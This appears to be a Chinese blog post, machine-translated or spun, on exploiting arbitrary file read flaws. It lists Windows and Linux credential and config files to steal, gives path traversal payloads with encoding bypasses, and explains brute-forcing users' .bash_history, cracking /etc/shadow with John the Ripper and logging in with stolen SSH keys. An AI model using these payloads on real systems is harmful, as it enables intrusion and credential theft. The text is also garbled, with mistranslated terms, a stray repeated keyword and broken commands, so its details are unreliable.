扫码获取信息
赢得黑客教程
免费并加入群组
当我们遇到任意文件读取漏洞时php读取xml,我们需要考虑如何通过这一小点来扩大我们的成果,达到最大化利用的目的。
本文主要介绍了我们得到任何文件阅读点后的一些深入的坐姿,希望对您有所帮助。来源作者 lxlxlx@shenconvinced 东方天威团队
windows常用读取敏感文件路径
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
......
Linux
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/redhat-release 系统版本
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/var/lib/mlocate/mlocate.db //全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/porc/self/cmdline //当前进程的cmdline参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline 则可以看到对应pid进程的完整命令行。
/proc/net/fib_trie 内网IP
/proc/self/environ 环境变量
/proc/self/loginuid 当前用户
......
車輛改道
可以模糊化
url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
加入+
?filename=.+./.+./bin/redacted.dll
?filename=../file.php
/etc/passwd.jpg
?filename=..%5c..%5c/windows/win.ini
Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Linux下常用用户目录下的敏感文件
.bash_history
.zsh_history
.psql_history
.mysql_history
.profile
.bashrc
.gitconfig
.viminfo
任意文件读取/etc/passwd
提取passwd第一列,即root等一系列用户名
读history:../../root/.bash_history
暴破所有用户的.bash_history:../../../home/§root§/.bash_history
历史命令重点关注出现的密码、路径、配置文件路径、其他关联IP、日志文件、war包、备份文件路径等,可以进一步读取或使用。
PS:如果要下载文件,可能会导致文件过大导致下载失败。 可以使用wget下载,如catanlina.out日志文件、war包、备份文件等。
主机簿文件
公钥文件
/root/.ssh/id_rsa 私钥
/root/.ssh/authorized_keys 公钥存储文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
如果公钥文件没有密码保护,可以直接获取登录服务器,或者使用xshell等软件选择证书登录。
ssh-iid_rsaroot@IP地址
系统密码
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
......
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
可以看到哪些用户可以登录
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
$id$salt$密文
id代表使用不同的加密算法,不同的系统使用不同的算法。 加密时需要使用盐。 最后是密文。
注意:如果密码字符串为*,则表示系统用户无法登录,如果为!,则表示该用户名被禁用,如果密码字符串为空,则表示没有密码。
约翰·克拉克
取消阴影 /etc/passwd /etc/shadow>test_passwd
john --wordlist=字典路径 test_passw
默认密码字典位于/usr/share/john/password.ls
完整路径
mlocate.db数据库存储所有本地文件的配置信息
/var/lib/mlocate/mlocate.db
使用locate命令将数据输出到文件中php读取xml,其中包含所有文件路径信息
locatemlocate.dbconfig 输出包括config在内的所有路径
locatemlocate.dbwebapps
定位mlocate.dbwww
获取路径后,可以进一步挖掘敏感信息和系统漏洞
程序源代码
借助完整路径或从其他地方获得的路径来阅读一些关键的程序源代码。
读取WEB-INF/web.xml,进一步读取class文件,反编译得到源代码。
读取war包,反编译获得源码。
应用简介
获取网站的相关配置信息,包括站点配置、数据库配置等,并进一步获取源代码。
应用程序日志文件
借助日志文件获取网站后台地址、API套接字、备份等敏感信息。
Windows下坐姿盲读桌面文件
有时,管理员为了方便起见,会将一些敏感文件保存在桌面上。 我们可以直接对桌面上的一些文件名进行模糊测试,比如1.txt、2.txt、password.txt、pass.txt等,以进一步扩大战果。
总结
在漏洞利用层面,我们不仅要关注一键RCE,还要尝试思考最大化利用其他类型的漏洞。
当一个小漏洞与一个神奇的想法碰撞时,往往能产生意想不到的疗效。 记住,发散思维,让漏洞发挥最大价值!
免责声明:本公众号分享的内容仅供网络安全爱好者技术讨论之用,严禁用于非法用途。 所有的渗透都需要经过授权! 否则,需您自行承担,公众号及原作者不承担相应后果。